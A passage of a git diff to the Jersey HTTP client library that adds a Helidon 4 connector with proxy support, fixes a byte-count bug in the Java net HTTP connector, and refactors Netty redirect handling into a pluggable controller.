+import org.glassfish.jersey.internal.util.PropertiesHelper;
+
+class HelidonConnector implements Connector {
+    static final System.Logger LOGGER = System.getLogger(HelidonConnector.class.getName());
+    private static final String CONNECTOR_CONFIG_ROOT = "jersey.connector.webclient";
+
+    private static final String HELIDON_VERSION = "Helidon/" + Version.VERSION + " (java "
+            + AccessController.doPrivileged(PropertiesHelper.getSystemProperty("java.runtime.version")) + ")";
+
+    private final LazyValue<ExecutorService> executorService;
+    private final WebClient webClient;
+    private final Proxy proxy;
+
+    @SuppressWarnings("unchecked")
+    HelidonConnector(Client client, Configuration configuration) {
+        executorService = LazyValue.create(() -> VirtualThreadUtil.withConfig(configuration,
+                        VirtualThreadUtil.threadFactoryBuilder("helidon-connector-", 0L) ,true).newCachedThreadPool());
+
+        // create underlying HTTP client
+        Map<String, Object> properties = configuration.getProperties();
+        WebClientConfig.Builder builder = WebClientConfig.builder();
+
+        // use config from property first then registry
+        var helidonConfig = configuration.getProperty(HelidonClientProperties.CONFIG);
+        if (helidonConfig != null) {
+            if (helidonConfig instanceof Config) {
+                builder.config((Config) helidonConfig);
+            } else {
+                LOGGER.log(System.Logger.Level.WARNING,
+                        LocalizationMessages.HELIDON_CONFIG_IGNORED(HelidonClientProperties.CONFIG));
+                builder.config(configFromRegistry());
+            }
+        } else {
+            builder.config(configFromRegistry());
+        }
+
+        // proxy support
+        proxy = ProxyBuilder.createProxy(configuration).orElse(Proxy.create());
+
+        // possibly override config with properties defined in Jersey client
+        // property values are ignored if cannot be converted to correct type
+        if (properties.containsKey(ClientProperties.CONNECT_TIMEOUT)) {
+            Integer connectTimeout = ClientProperties.getValue(properties, ClientProperties.CONNECT_TIMEOUT, Integer.class);
+            if (connectTimeout != null) {
+                builder.connectTimeout(Duration.ofMillis(connectTimeout));
+            }
+        }
+        if (properties.containsKey(ClientProperties.READ_TIMEOUT)) {
+            Integer readTimeout = ClientProperties.getValue(properties, ClientProperties.READ_TIMEOUT, Integer.class);
+            if (readTimeout != null) {
+                builder.readTimeout(Duration.ofMillis(readTimeout));
+            }
+        }
+        if (properties.containsKey(ClientProperties.FOLLOW_REDIRECTS)) {
+            Boolean followRedirects = ClientProperties.getValue(properties, ClientProperties.FOLLOW_REDIRECTS, Boolean.class);
+            if (followRedirects != null) {
+                builder.followRedirects(followRedirects);
+            }
+        }
+        if (properties.containsKey(ClientProperties.EXPECT_100_CONTINUE)) {
+            Boolean expect100Continue = ClientProperties
+                    .getValue(properties, ClientProperties.EXPECT_100_CONTINUE, Boolean.class);
+            if (expect100Continue != null) {
+                builder.sendExpectContinue(expect100Continue);
+            }
+        }
+
+        // first check property and then the Jersey client SSL config
+        boolean isTlsSet = false;
+        if (properties.containsKey(HelidonClientProperties.TLS)) {
+            Tls tls = ClientProperties.getValue(properties, HelidonClientProperties.TLS, Tls.class);
+            if (tls != null) {
+                builder.tls(tls);
+                isTlsSet = true;
+            }
+        }
+        if (!isTlsSet && client.getSslContext() != null) {
+            boolean isJerseyClient = client instanceof JerseyClient;
+            boolean jerseyHasDefaultSsl = isJerseyClient && ((JerseyClient) client).isDefaultSslContext();
+            if (!isJerseyClient || !jerseyHasDefaultSsl) {
+                builder.tls(Tls.builder().sslContext(client.getSslContext()).build());
+            }
+        }
+
+        // protocol configs
+        if (properties.containsKey(HelidonClientProperties.PROTOCOL_CONFIGS)) {
+            List<? extends ProtocolConfig> protocolConfigs =
+                    (List<? extends ProtocolConfig>) properties.get(HelidonClientProperties.PROTOCOL_CONFIGS);
+            if (protocolConfigs != null) {
+                builder.addProtocolConfigs(protocolConfigs);
+            }
+        }
+
+        // default headers
+        if (properties.containsKey(HelidonClientProperties.DEFAULT_HEADERS)) {
+            Map<String, String> defaultHeaders = ClientProperties
+                    .getValue(properties, HelidonClientProperties.DEFAULT_HEADERS, Map.class);
+            if (defaultHeaders != null) {
+                builder.defaultHeadersMap(defaultHeaders);
+            }
+        }
+
+        // connection sharing defaults to false in this connector
+        if (properties.containsKey(HelidonClientProperties.SHARE_CONNECTION_CACHE)) {
+            Boolean shareConnectionCache = ClientProperties
+                    .getValue(properties, HelidonClientProperties.SHARE_CONNECTION_CACHE, Boolean.class);
+            if (shareConnectionCache != null) {
+                builder.shareConnectionCache(shareConnectionCache);
+            }
+        }
+
+        webClient = builder.build();
+    }
+
+    /**
+     * Map a Jersey request to a Helidon HTTP request.
+     *
+     * @param request the request to map
+     * @return the mapped request
+     */
+    private HttpClientRequest mapRequest(ClientRequest request) {
+        // possibly override proxy in request
+        Proxy requestProxy = ProxyBuilder.createProxy(request).orElse(proxy);
+
+        // create WebClient request
+        URI uri = request.getUri();
+        HttpClientRequest httpRequest = webClient
+                .method(Method.create(request.getMethod()))
+                .proxy(requestProxy)
+                .uri(uri);
+
+        // map request headers
+        request.getRequestHeaders().forEach((key, value) -> {
+            String[] values = value.toArray(new String[0]);
+            httpRequest.header(HeaderNames.create(key), values);
+        });
+
+        // request config
+        Boolean followRedirects = request.resolveProperty(ClientProperties.FOLLOW_REDIRECTS, Boolean.class);
+        if (followRedirects != null) {
+            httpRequest.followRedirects(followRedirects);
+        }
+        Integer readTimeout = request.resolveProperty(ClientProperties.READ_TIMEOUT, Integer.class);
+        if (readTimeout != null) {
+            httpRequest.readTimeout(Duration.ofMillis(readTimeout));
+        }
+        String protocolId = request.resolveProperty(HelidonClientProperties.PROTOCOL_ID, String.class);
+        if (protocolId != null) {
+            httpRequest.protocolId(protocolId);
+        }
+
+        // copy properties
+        for (String name : request.getConfiguration().getPropertyNames()) {
+            Object value = request.getConfiguration().getProperty(name);
+            if (!name.startsWith("jersey") && value instanceof String) {
+                httpRequest.property(name, (String) value);
+            }
+        }
+        for (String propertyName : request.getPropertyNames()) {
+            Object value = request.resolveProperty(propertyName, Object.class);
+            if (!propertyName.startsWith("jersey") && value instanceof String) {
+                httpRequest.property(propertyName, (String) value);
+            }
+        }
+
+        return httpRequest;
+    }
+
+    /**
+     * Map a Helidon HTTP/1.1 response to a Jersey response.
+     *
+     * @param httpResponse the response to map
+     * @param request the request
+     * @return the mapped response
+     */
+    private ClientResponse mapResponse(HttpClientResponse httpResponse, ClientRequest request) {
+        Response.StatusType statusType = new Response.StatusType() {
+            @Override
+            public int getStatusCode() {
+                return httpResponse.status().code();
+            }
+
+            @Override
+            public Response.Status.Family getFamily() {
+                return Response.Status.Family.familyOf(getStatusCode());
+            }
+
+            @Override
+            public String getReasonPhrase() {
+                return httpResponse.status().reasonPhrase();
+            }
+        };
+        ClientResponse response = new ClientResponse(statusType, request) {
+            @Override
+            public void close() {
+                super.close();
+                httpResponse.close();       // closes WebClient's response
+            }
+        };
+
+        // copy headers
+        for (Header header : httpResponse.headers()) {
+            for (String v : header.allValues()) {
+                response.getHeaders().add(header.name(), v);
+            }
+        }
+
+        // last URI, possibly after redirections
+        response.setResolvedRequestUri(httpResponse.lastEndpointUri().toUri());
+
+        // handle entity
+        ReadableEntity entity = httpResponse.entity();
+        if (entity.hasEntity()) {
+            response.setEntityStream(entity.inputStream());
+        }
+        return response;
+    }
+
+    /**
+     * Execute Jersey request using WebClient.
+     *
+     * @param request the Jersey request
+     * @return a Jersey response
+     */
+    @Override
+    public ClientResponse apply(ClientRequest request) {
+        HttpClientResponse httpResponse;
+        HttpClientRequest httpRequest = mapRequest(request);
+
+        if (request.hasEntity()) {
+            httpResponse = httpRequest.outputStream(os -> {
+                request.setStreamProvider(length -> os);
+                request.writeEntity();
+            });
+        } else {
+            httpResponse = httpRequest.request();
+        }
+
+        return mapResponse(httpResponse, request);
+    }
+
+    /**
+     * Asynchronously execute Jersey request using WebClient.
+     *
+     * @param request the Jersey request
+     * @return a Jersey response
+     */
+    @Override
+    public Future<?> apply(ClientRequest request, AsyncConnectorCallback callback) {
+        return executorService.get().submit(() -> {
+            try {
+                ClientResponse response = apply(request);
+                callback.response(response);
+            } catch (Throwable t) {
+                callback.failure(t);
+            }
+        });
+    }
+
+    @Override
+    public String getName() {
+        return HELIDON_VERSION;
+    }
+
+    @Override
+    public void close() {
+    }
+
+    WebClient client() {
+        return webClient;
+    }
+
+    Proxy proxy() {
+        return proxy;
+    }
+
+    Config configFromRegistry() {
+        try {
+            io.helidon.common.config.Config cfg = Services.get(io.helidon.common.config.Config.class);
+            if (cfg instanceof Config) {
+                return ((Config) cfg).get(CONNECTOR_CONFIG_ROOT);
+            }
+        } catch (ServiceRegistryException e) {
+            // falls through
+        }
+        LOGGER.log(System.Logger.Level.TRACE, LocalizationMessages.NO_CONFIG_IN_REGISTERY());
+        return Config.empty();
+    }
+}
\ No newline at end of file
diff --git a/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
index a7fca97..6fc740c 100644
--- a/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
+++ b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,61 +16,45 @@
 
 package org.glassfish.jersey.helidon.connector;
 
-import org.glassfish.jersey.Beta;
 import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
 import org.glassfish.jersey.internal.util.JdkVersion;
 
 import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.client.Client;
 import jakarta.ws.rs.core.Configuration;
+
 import java.io.OutputStream;
 
+import org.glassfish.jersey.Beta;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.internal.util.collection.LazyValue;
+import org.glassfish.jersey.internal.util.collection.Value;
+import org.glassfish.jersey.internal.util.collection.Values;
+
 /**
- * Provider for Helidon WebClient {@link Connector} that utilizes the Helidon HTTP Client to send and receive
- * HTTP request and responses. JDK 8 is not supported by the Helidon Connector.
- * <p>
- * The following properties are only supported at construction of this class:
- * <ul>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT}</li>
- * <li>{@link HelidonClientProperties#CONFIG}</li>
- * </ul>
- * <p>
- * If a {@link org.glassfish.jersey.client.ClientResponse} is obtained and an
- * entity is not read from the response then
- * {@link org.glassfish.jersey.client.ClientResponse#close()} MUST be called
- * after processing the response to release connection-based resources.
- * </p>
- * <p>
- * Client operations are thread safe, the HTTP connection may
- * be shared between different threads.
- * </p>
- * <p>
- * If a response entity is obtained that is an instance of {@link java.io.Closeable}
- * then the instance MUST be closed after processing the entity to release
- * connection-based resources.
- * </p>
- * <p>
- * This connector uses {@link org.glassfish.jersey.client.ClientProperties#OUTBOUND_CONTENT_LENGTH_BUFFER} to buffer the entity
- * written for instance by {@link jakarta.ws.rs.core.StreamingOutput}. Should the buffer be small and
- * {@link jakarta.ws.rs.core.StreamingOutput#write(OutputStream)} be called many times, the performance can drop. The Content-Length
- * or the Content_Encoding header is set by the underlaying Helidon WebClient regardless of the
- * {@link org.glassfish.jersey.client.ClientProperties#OUTBOUND_CONTENT_LENGTH_BUFFER} size, however.
- * </p>
+ * Helidon Connector stub which only throws exception when running on JDK prior to 21.
+ * New Helidon 3 does not support JDKs prior to 21.
  *
- * @since 2.31
+ * @since 3.0.5
  */
 @Beta
-public class HelidonConnectorProvider extends io.helidon.jersey.connector.HelidonConnectorProvider {
+public class HelidonConnectorProvider implements ConnectorProvider {
+    private static final LazyValue<Helidon3ConnectorProvider> helidon3ConnectorProvider =
+            Values.lazy((Value<Helidon3ConnectorProvider>) Helidon3ConnectorProvider::new);
+
+    public HelidonConnectorProvider() {
+    }
+
     @Override
     public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 21) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        if (HelidonVersionChecker.VERSION.get() == HelidonVersionChecker.Version.VERSION_3) {
+            return helidon3ConnectorProvider.get().getConnector(client, runtimeConfig);
+        } else if (JdkVersion.getJdkVersion().getMajor() < 21) {
+            throw new ProcessingException(LocalizationMessages.HELIDON_4_NOT_SUPPORTED());
         }
-        return super.getConnector(client, runtimeConfig);
+        return new HelidonConnector(client, runtimeConfig);
     }
 }
diff --git a/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/ProxyBuilder.java b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/ProxyBuilder.java
new file mode 100644
index 0000000..819d283
--- /dev/null
+++ b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/ProxyBuilder.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon.connector;
+
+import java.net.URI;
+import java.util.Locale;
+import java.util.Optional;
+
+import io.helidon.webclient.api.Proxy;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Configuration;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+
+class ProxyBuilder {
+
+    static Optional<Proxy> createProxy(Configuration config) {
+        Object proxyUri = config.getProperty(ClientProperties.PROXY_URI);
+        String userName = ClientProperties.getValue(config.getProperties(), ClientProperties.PROXY_USERNAME, String.class);
+        String password = ClientProperties.getValue(config.getProperties(), ClientProperties.PROXY_PASSWORD, String.class);
+        return createProxy(proxyUri, userName, password);
+    }
+
+    static Optional<Proxy> createProxy(ClientRequest clientRequest) {
+        Object proxyUri = clientRequest.resolveProperty(ClientProperties.PROXY_URI, Object.class);
+        String userName = clientRequest.resolveProperty(ClientProperties.PROXY_USERNAME, String.class);
+        String password = clientRequest.resolveProperty(ClientProperties.PROXY_PASSWORD, String.class);
+        return createProxy(proxyUri, userName, password);
+    }
+
+    private ProxyBuilder() {
+    }
+
+    private static Optional<Proxy> createProxy(Object proxyUri, String userName, String password) {
+        if (proxyUri != null) {
+            URI u = getProxyUri(proxyUri);
+            Proxy.Builder builder = Proxy.builder();
+            if (u.getScheme().toUpperCase(Locale.ROOT).equals("DIRECT")) {
+                builder.type(Proxy.ProxyType.NONE);
+            } else {
+                builder.host(u.getHost()).port(u.getPort());
+                if ("HTTP".equals(u.getScheme().toUpperCase(Locale.ROOT))) {
+                    builder.type(Proxy.ProxyType.HTTP);
+                } else {
+                    HelidonConnector.LOGGER.log(System.Logger.Level.WARNING,
+                            LocalizationMessages.PROXY_SCHEMA_NOT_SUPPORTED(u.getScheme()));
+                    return Optional.empty();
+                }
+            }
+            if (userName != null) {
+                builder.username(userName);
+                if (password != null) {
+                    builder.password(password.toCharArray());
+                }
+            }
+            return Optional.of(builder.build());
+        } else {
+            return Optional.empty();
+        }
+    }
+
+    private static URI getProxyUri(Object proxy) {
+        if (proxy instanceof URI) {
+            return (URI) proxy;
+        } else if (proxy instanceof String) {
+            return URI.create((String) proxy);
+        } else {
+            throw new ProcessingException(LocalizationMessages.WRONG_PROXY_URI_TYPE(proxy));
+        }
+    }
+}
diff --git a/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties b/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties
index 4cb36b6..c92aa1d 100644
--- a/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties
+++ b/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,4 +14,10 @@
 # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
 #
 
+helidon.config.ignored=Ignoring Helidon Connector config at "{0}".
+helidon3.not.supported=Helidon connector is not supported on JDK version less than 17.
+helidon4.not.supported=Helidon 4 connector is not supported on JDK version less than 21.
+no.config.in.registery=Unable to find Config in service registry.
+proxy.schema.not.supported=Proxy schema {0} not supported.
+wrong.proxy.uri.type=The proxy URI "{0}" MUST be String or URI.
 not.supported=Helidon connector is not supported on JDK version less than 21.
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java
index 57296c6..1b19617 100644
--- a/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java
+++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -377,6 +377,7 @@
                 if (zero != -1) {
                     b[off] = (byte) (zero & 0xFF);
                     r = inner.read(b, off + 1, len - 1);
+                    r = (r == -1) ? 1 : r + 1;
                 } else {
                     r = inner.read(b, off, len);
                 }
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java
index b6119f5..d645018 100644
--- a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -54,6 +54,19 @@
     }
 
     @Test
+    void testOneByteInArray() throws Exception {
+        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A'});
+        InputStream testIs = createFirstByteCachingStream(byteArrayInputStream);
+        Assertions.assertEquals(1, testIs.available());
+
+        byte[] bytes = new byte[1];
+        int l = testIs.read(bytes);
+        Assertions.assertEquals(1, l);
+        Assertions.assertEquals('A', bytes[0]);
+        Assertions.assertEquals(0, testIs.available());
+    }
+
+    @Test
     void testTwoBytes() throws Exception {
         ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A', 'B'});
         InputStream testIs = createFirstByteCachingStream(byteArrayInputStream);
@@ -73,7 +86,8 @@
         Assertions.assertEquals(2, testIs.available());
 
         byte[] bytes = new byte[2];
-        testIs.read(bytes);
+        int l = testIs.read(bytes);
+        Assertions.assertEquals(2, l);
         Assertions.assertEquals('A', bytes[0]);
         Assertions.assertEquals('B', bytes[1]);
         Assertions.assertEquals(0, testIs.available());
diff --git a/connectors/netty-connector/pom.xml b/connectors/netty-connector/pom.xml
index 5a40f3a..64e7d35 100644
--- a/connectors/netty-connector/pom.xml
+++ b/connectors/netty-connector/pom.xml
@@ -40,6 +40,8 @@
             --add-opens org.glassfish.jersey.core.common/org.glassfish.jersey.innate.virtual=ALL-UNNAMED
             --add-opens java.base/java.lang=org.glassfish.jersey.netty.connector
             --add-opens java.base/java.lang.reflect=org.glassfish.jersey.netty.connector
+            --add-opens java.base/java.lang=ALL-UNNAMED
+            --add-opens java.base/java.lang.reflect=ALL-UNNAMED
             --add-exports org.glassfish.jersey.core.common/org.glassfish.jersey.innate=ALL-UNNAMED
             --add-modules=ALL-MODULE-PATH
         </surefire.coverage.argline>
@@ -100,26 +102,4 @@
             </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>(1.8,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/netty/connector/HugeHeaderTest.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
 </project>
diff --git a/connectors/netty-connector/src/main/java/module-info.java b/connectors/netty-connector/src/main/java/module-info.java
index 0556416..2fc59fd 100644
--- a/connectors/netty-connector/src/main/java/module-info.java
+++ b/connectors/netty-connector/src/main/java/module-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,4 +37,6 @@
 
     exports org.glassfish.jersey.netty.connector;
     exports org.glassfish.jersey.netty.connector.internal;
+
+    opens org.glassfish.jersey.netty.connector;
 }
\ No newline at end of file
diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyClientHandler.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyClientHandler.java
index 398fd2e..58ed5b4 100644
--- a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyClientHandler.java
+++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyClientHandler.java
@@ -18,8 +18,6 @@
 
 import java.io.IOException;
 import java.net.URI;
-import java.util.Iterator;
-import java.util.List;
 import java.util.Locale;
 import java.util.Map;
 import java.util.Set;
@@ -67,6 +65,7 @@
     private final boolean followRedirects;
     private final int maxRedirects;
     private final NettyConnector connector;
+    private final NettyHttpRedirectController redirectController;
 
     private NettyInputStream nis;
     private ClientResponse jerseyResponse;
@@ -83,11 +82,15 @@
         this.followRedirects = jerseyRequest.resolveProperty(ClientProperties.FOLLOW_REDIRECTS, true);
         this.maxRedirects = jerseyRequest.resolveProperty(NettyClientProperties.MAX_REDIRECTS, DEFAULT_MAX_REDIRECTS);
         this.connector = connector;
+
+        final NettyHttpRedirectController customRedirectController = jerseyRequest
+                .resolveProperty(NettyClientProperties.HTTP_REDIRECT_CONTROLLER, NettyHttpRedirectController.class);
+        this.redirectController = customRedirectController == null ? new NettyHttpRedirectController() : customRedirectController;
     }
 
     @Override
     public void channelReadComplete(ChannelHandlerContext ctx) {
-       notifyResponse();
+       notifyResponse(ctx);
     }
 
     @Override
@@ -103,7 +106,7 @@
        }
     }
 
-    protected void notifyResponse() {
+    protected void notifyResponse(ChannelHandlerContext ctx) {
        if (jerseyResponse != null) {
           ClientResponse cr = jerseyResponse;
           jerseyResponse = null;
@@ -142,22 +145,25 @@
                       } else {
                           ClientRequest newReq = new ClientRequest(jerseyRequest);
                           newReq.setUri(newUri);
-                          restrictRedirectRequest(newReq, cr);
+                          ctx.close();
+                          if (redirectController.prepareRedirect(newReq, cr)) {
+                              final NettyConnector newConnector = new NettyConnector(newReq.getClient());
+                              newConnector.execute(newReq, redirectUriHistory, new CompletableFuture<ClientResponse>() {
+                                  @Override
+                                  public boolean complete(ClientResponse value) {
+                                      newConnector.close();
+                                      return responseAvailable.complete(value);
+                                  }
 
-                          final NettyConnector newConnector = new NettyConnector(newReq.getClient());
-                          newConnector.execute(newReq, redirectUriHistory, new CompletableFuture<ClientResponse>() {
-                              @Override
-                              public boolean complete(ClientResponse value) {
-                                  newConnector.close();
-                                  return responseAvailable.complete(value);
-                              }
-
-                              @Override
-                              public boolean completeExceptionally(Throwable ex) {
-                                  newConnector.close();
-                                  return responseAvailable.completeExceptionally(ex);
-                              }
-                          });
+                                  @Override
+                                  public boolean completeExceptionally(Throwable ex) {
+                                      newConnector.close();
+                                      return responseAvailable.completeExceptionally(ex);
+                                  }
+                              });
+                          } else {
+                              responseAvailable.complete(cr);
+                          }
                       }
                   } catch (IllegalArgumentException e) {
                       responseAvailable.completeExceptionally(
@@ -221,13 +227,11 @@
 
             if (msg instanceof LastHttpContent) {
                 responseDone.complete(null);
-                notifyResponse();
+                notifyResponse(ctx);
             }
         }
     }
 
-
-
     @Override
     public void exceptionCaught(ChannelHandlerContext ctx, final Throwable cause) {
         responseDone.completeExceptionally(cause);
@@ -243,53 +247,6 @@
        }
     }
 
-    /*
-     * RFC 9110 Section 15.4
-     * https://httpwg.org/specs/rfc9110.html#rfc.section.15.4
-     */
-    private void restrictRedirectRequest(ClientRequest newRequest, ClientResponse response) {
-        final MultivaluedMap<String, Object> headers = newRequest.getHeaders();
-        final Boolean keepMethod = newRequest.resolveProperty(NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT, Boolean.TRUE);
-
-        if (Boolean.FALSE.equals(keepMethod) && newRequest.getMethod().equals(HttpMethod.POST)) {
-            switch (response.getStatus()) {
-                case 301 /* MOVED PERMANENTLY */:
-                case 302 /* FOUND */:
-                    removeContentHeaders(headers);
-                    newRequest.setMethod(HttpMethod.GET);
-                    newRequest.setEntity(null);
-                    break;
-            }
-        }
-
-        for (final Iterator<Map.Entry<String, List<Object>>> it = headers.entrySet().iterator(); it.hasNext(); ) {
-            final Map.Entry<String, List<Object>> entry = it.next();
-            if (ProxyHeaders.INSTANCE.test(entry.getKey())) {
-                it.remove();
-            }
-        }
-
-        headers.remove(HttpHeaders.IF_MATCH);
-        headers.remove(HttpHeaders.IF_NONE_MATCH);
-        headers.remove(HttpHeaders.IF_MODIFIED_SINCE);
-        headers.remove(HttpHeaders.IF_UNMODIFIED_SINCE);
-        headers.remove(HttpHeaders.AUTHORIZATION);
-        headers.remove(HttpHeaders.REFERER);
-        headers.remove(HttpHeaders.COOKIE);
-    }
-
-    private void removeContentHeaders(MultivaluedMap<String, Object> headers) {
-        for (final Iterator<Map.Entry<String, List<Object>>> it = headers.entrySet().iterator(); it.hasNext(); ) {
-            final Map.Entry<String, List<Object>> entry = it.next();
-            final String lowName = entry.getKey().toLowerCase(Locale.ROOT);
-            if (lowName.startsWith("content-")) {
-                it.remove();
-            }
-        }
-        headers.remove(HttpHeaders.LAST_MODIFIED);
-        headers.remove(HttpHeaders.TRANSFER_ENCODING);
-    }
-
     /* package */ static class ProxyHeaders implements Predicate<String> {
         static final ProxyHeaders INSTANCE = new ProxyHeaders();
         private static final String HOST = HttpHeaders.HOST.toLowerCase(Locale.ROOT);
diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java
index bdede02..6bee4d3 100644
--- a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java
+++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,112 +16,133 @@
 
 package org.glassfish.jersey.netty.connector;
 
-import io.netty.channel.Channel;
-import io.netty.channel.ChannelFuture;
 import io.netty.channel.ChannelHandlerContext;
 import io.netty.channel.ChannelInboundHandlerAdapter;
-import io.netty.handler.codec.http.DefaultFullHttpRequest;
-import io.netty.handler.codec.http.HttpHeaderNames;
-import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.FullHttpMessage;
 import io.netty.handler.codec.http.HttpResponse;
 import io.netty.handler.codec.http.HttpResponseStatus;
-import io.netty.handler.codec.http.HttpUtil;
-import org.glassfish.jersey.client.ClientRequest;
+import io.netty.handler.codec.http.LastHttpContent;
 
 import jakarta.ws.rs.ProcessingException;
+import java.io.IOException;
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeUnit;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeoutException;
 
 public class JerseyExpectContinueHandler extends ChannelInboundHandlerAdapter {
 
-    private boolean isExpected;
+    private ExpectationState currentState = ExpectationState.IDLE;
 
-    private static final List<HttpResponseStatus> statusesToBeConsidered = Arrays.asList(HttpResponseStatus.CONTINUE,
